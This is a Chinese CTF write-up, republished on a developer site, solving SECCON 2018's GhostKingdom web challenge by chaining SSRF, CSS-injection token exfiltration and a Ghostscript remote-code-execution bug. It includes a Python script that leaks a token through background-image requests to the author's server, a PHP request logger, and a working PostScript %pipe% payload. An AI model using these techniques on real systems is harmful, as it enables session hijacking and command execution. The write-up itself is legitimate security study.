SECCON 2018 Qualis GhostKingdom

栏目: CSS · 发布时间: 6年前

内容简介:题目链接:访问链接后的提示如下:首先是一个登录界面:

题目链接:

http://ghostkingdom.pwn.seccon.jp/FLAG/

访问链接后的提示如下:

FLAG is somewhere in this folder.   GO TO TOP

首先是一个登录界面:

SECCON 2018 Qualis GhostKingdom

一通操作后发现没有注入,所以跟着逻辑注册登录继续往下看。

登录后发现侧面有三个功能,但是上传功能被禁止了,标识只有从本地登录才可以使用。尝试修改xxf等方式并没有成功,所以猜测可能是cookie认证问题?

SECCON 2018 Qualis GhostKingdom

但或者上传处不是关键点,先从上面两个功能开始测试。首先测试 Message to admin ,刚开始猜测可能此处会不会有一个xss bot,打个cookie回来。虽然这个输入框也不存在xss,也没有bot周期性地戳一下,但是在burp抓包中分析到一个css参数可控。联想到可能是CSS 注入读数据这个点,但是我还缺少一个从本地戳戳戳的bot!

SECCON 2018 Qualis GhostKingdom

SECCON 2018 Qualis GhostKingdom

此处我们decode一下这个base64可以看到是控制此处的输出样式。

 zeroyu@zeros  ~/Desktop  echo -n "c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9" | base64 -D
span{background-color:red;color:yellow}

点击send to admin之后我看到一个csrf参数(有用?)

SECCON 2018 Qualis GhostKingdom

好像无法但从这一个点入手,所以我决定看看 Take a screenshot

SECCON 2018 Qualis GhostKingdom

很明显是一个ssrf,不过file等协议都被限制了,302跳转好像也没开。虽然限制了127等,但是我们可以通过访问 http://0/ 绕过,结果还是有惊喜的。

SECCON 2018 Qualis GhostKingdom

PS:扫描过程中发现了一个有趣的东西

http://ghostkingdom.pwn.seccon.jp/ghostMagick.cgi

SECCON 2018 Qualis GhostKingdom

小结:

本来我以为这题是三个点分别突破都可以获取flag,但现在看来不行,真是继承了KeigoYAMAZAKI一贯的出题风格,要综合以上信息,构造利用链来读取flag

0x01 解题步骤

首先 Take a screenshot 处的ssrf可以让我们从 local network 那里进行登录,登录之后可以操作 Upload image

SECCON 2018 Qualis GhostKingdom

但是仅通过这个有限制的ssrf无法进一步利用了。所以换一个角度考虑,如果我们能够从 local network 获取 CGISESSIDfrom internet 进行登录就可以使用 Upload image 功能了呢?

有了这个思路接下来就是获取 CGISESSID 了,联想到 Message to admin 还有一个css inject可以用来读取数据,所以就可以ssrf+css inject联合来获取 CGISESSID

此处可以参考: Reading Data via CSS Injection

服务器上使用 php 开个服务器来记录数据

php -S 0.0.0.0:2333

对应的目录下可以放置如下log.php来帮助记录

<?php
date_default_timezone_set('Asia/Shanghai');
$ip       = $_SERVER["REMOTE_ADDR"]; //记录访问者的ip
$filename = $_SERVER['PHP_SELF'];	//访问者要访问的文件名
$parameter   = $_SERVER["QUERY_STRING"]; //访问者要请求的参数
$time     =   date('Y-m-d H:i:s',time()); //访问时间
$logadd = '来访时间:'.$time.'-->'.'访问链接:'.'http://'.$ip.$filename.'?'.$parameter."\r\n";
// log记录
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fclose($fh);
?>

利用脚本如下:

import base64
CHARLIST = "0123456789" + "abcdef"
URL = "http://0/?msg=master&action=msgadm2&css="
#
known = "bcc703c0693e6eff894ede"
buf = ""
for char in CHARLIST:
    buf += """input[name="csrf"][value^="{}"] {{
background: url(http://your server ip/log.php/{});
}}""".format(known+char,known+char)

print(URL + base64.b64encode(buf.encode('utf-8')).decode('utf-8'))

最终可以获取 CGISESSID 的值

SECCON 2018 Qualis GhostKingdom

之后在浏览器中设置上我们获得的 CGISESSID ,就可以使用 Upload image 功能了。

SECCON 2018 Qualis GhostKingdom

测试一下

SECCON 2018 Qualis GhostKingdom

SECCON 2018 Qualis GhostKingdom

发现有个 Convert to GIF format 结合之前我们发现的 ghostMagick.cgi 很容易想到Ghostscript的rce漏洞。我们将以下代码保存为jpg,上传可以得flag。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%cat /var/www/html/FLAG/FLAGflagF1A8.txt) currentdevice putdeviceprops

SECCON 2018 Qualis GhostKingdom

SECCON{CSSinjection+GhostScript/ImageMagickRCE}


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Introduction to Tornado

Introduction to Tornado

Michael Dory、Adam Parrish、Brendan Berg / O'Reilly Media / 2012-3-28 / USD 23.99

Tornado is a scalable, non-blocking web server and web application framework written in Python. It is also light-weight to deploy, fun to write for, and incredibly powerful. Tornado was written with p......一起来看看 《Introduction to Tornado》 这本书的介绍吧!

URL 编码/解码
URL 编码/解码

URL 编码/解码

MD5 加密
MD5 加密

MD5 加密工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具